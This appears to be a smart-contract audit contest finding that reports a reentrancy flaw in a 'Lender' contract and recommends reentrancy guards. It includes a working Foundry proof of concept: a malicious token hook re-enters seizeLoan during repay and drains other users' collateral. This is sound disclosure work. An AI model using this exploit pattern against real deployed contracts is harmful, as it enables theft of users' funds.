20,000 USDC
View results
Submission Details
Severity: medium
Valid

`Lender` is susceptible to reentrancy attacks.

Summary

Lender is susceptible to reentrancy attacks, leading to loss of funds.

Vulnerability Details

The Lender contract is designed to work with any ERC20-based tokens and does not implement any kind of whitelisting. The omission of reentrancy guards leads to the possibility of reentrancy attacks by supplying a malicious loanToken or collateralToken.

Impact

Funds can be drained from the Lender contract.

Tools Used

None

Recommendations

The PoC only demonstrates a single attack vector. Since the interactions with the loan and collateral tokens are complex, there are most likely other options for exploitation as well.

Therefore, I suggest implementing a reentrancy guard (such as OpenZeppelin's nonReentrant modifier from the ReentrancyGuard contract) for every state-changing method in the Lender contract.

PoC

The PoC demonstrates loss of funds in form of the collateral tokens, where reentering seizeLoan while still in repay allows an attacker to withdraw legitimately deposited collateralTokens of other users.

Paste the below code into test/ReentrancyTest.sol and run it with the command forge test --match-test "testReentrancy" -vv. You should see this output:

Running 1 test for test/ReentrancyTest.sol:ReentrancyTest
[PASS] testReentrancy() (gas: 1453736)
Logs:
Profit: 99 WETH
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import {Lender} from "src/Lender.sol";
import {Pool, Borrow} from "src/utils/Structs.sol";
contract ReentrancyTest is Test {
Lender lender = new Lender();
function testReentrancy() public {
// Collateral Token
ERC20 WETH = new ERC20("WETH", "WETH");
// Loan Token. Malicious implementation with hook.
BadToken BAD = new BadToken();
// The attackers WETH balance before the attack.
// 101 is just an example, can be any value.
deal(address(WETH), address(this), 101 ether);
WETH.approve(address(lender), type(uint256).max);
// Assume normal users have deposited WETH
// before the attack as collateral for valid loans.
// Again, 1000 is just an example.
deal(address(WETH), address(lender), 1000 ether);
// 1. Create the pool
Pool memory pool = Pool(
address(this), // lender
address(BAD), // loanToken
address(WETH), // collateralToken
1, // minLoanSize
100 ether, // poolBalance
type(uint256).max, // maxLoanRatio
1, // auctionLength
1, // interestRate
0 // outstandingLoans
);
bytes32 poolID = lender.setPool(pool);
// 2. Borrow against our own pool
// We do two borrows with a second very small one to avoid underflow errors later on.
Borrow[] memory borrows = new Borrow[](2);
borrows[0] = Borrow(
poolID, // poolID
2 ether, // debt
100 ether // collateral
);
borrows[1] = Borrow(
poolID, // poolID
3 ether, // debt
1 ether // collateral
);
lender.borrow(borrows);
// 3. Start auction
// No one will bid on this auction as the loan token is our worthless BAD token.
// Also, since we set the auction duration to 1 second, the auction will end in the next block.
uint256[] memory loanIDs = new uint256[](1);
loanIDs[0] = 0;
lender.startAuction(loanIDs);
// Wait until the next block for auction end
vm.warp(2);
vm.roll(1);
// 4. Call repay
// This will internally transfer the BAD token,
// which causes the `badTokenHook` below to be invoked.
BAD.setEnabled();
lender.repay(loanIDs);
// At the end, we received the collateral tokens twice.
// Once from `repay` and once from `seizeLoan`.
console.log(
"Profit:",
(WETH.balanceOf(address(this)) / 10 ** 18) - 101,
"WETH"
);
}
function badTokenHook() external {
// 5. While still in `repay`, re-enter with a call to `seizeLoan`.
lender.seizeLoan(new uint256[](1));
}
}
contract BadToken {
ReentrancyTest owner;
bool enabled = false;
constructor() {
owner = ReentrancyTest(msg.sender);
}
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool) {
if (enabled && from == address(owner)) {
// Invoked by a call from `repay
enabled = false;
owner.badTokenHook();
}
return true;
}
function setEnabled() external {
enabled = true;
}
function transfer(address to, uint256 amount) external returns (bool) {
return true;
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.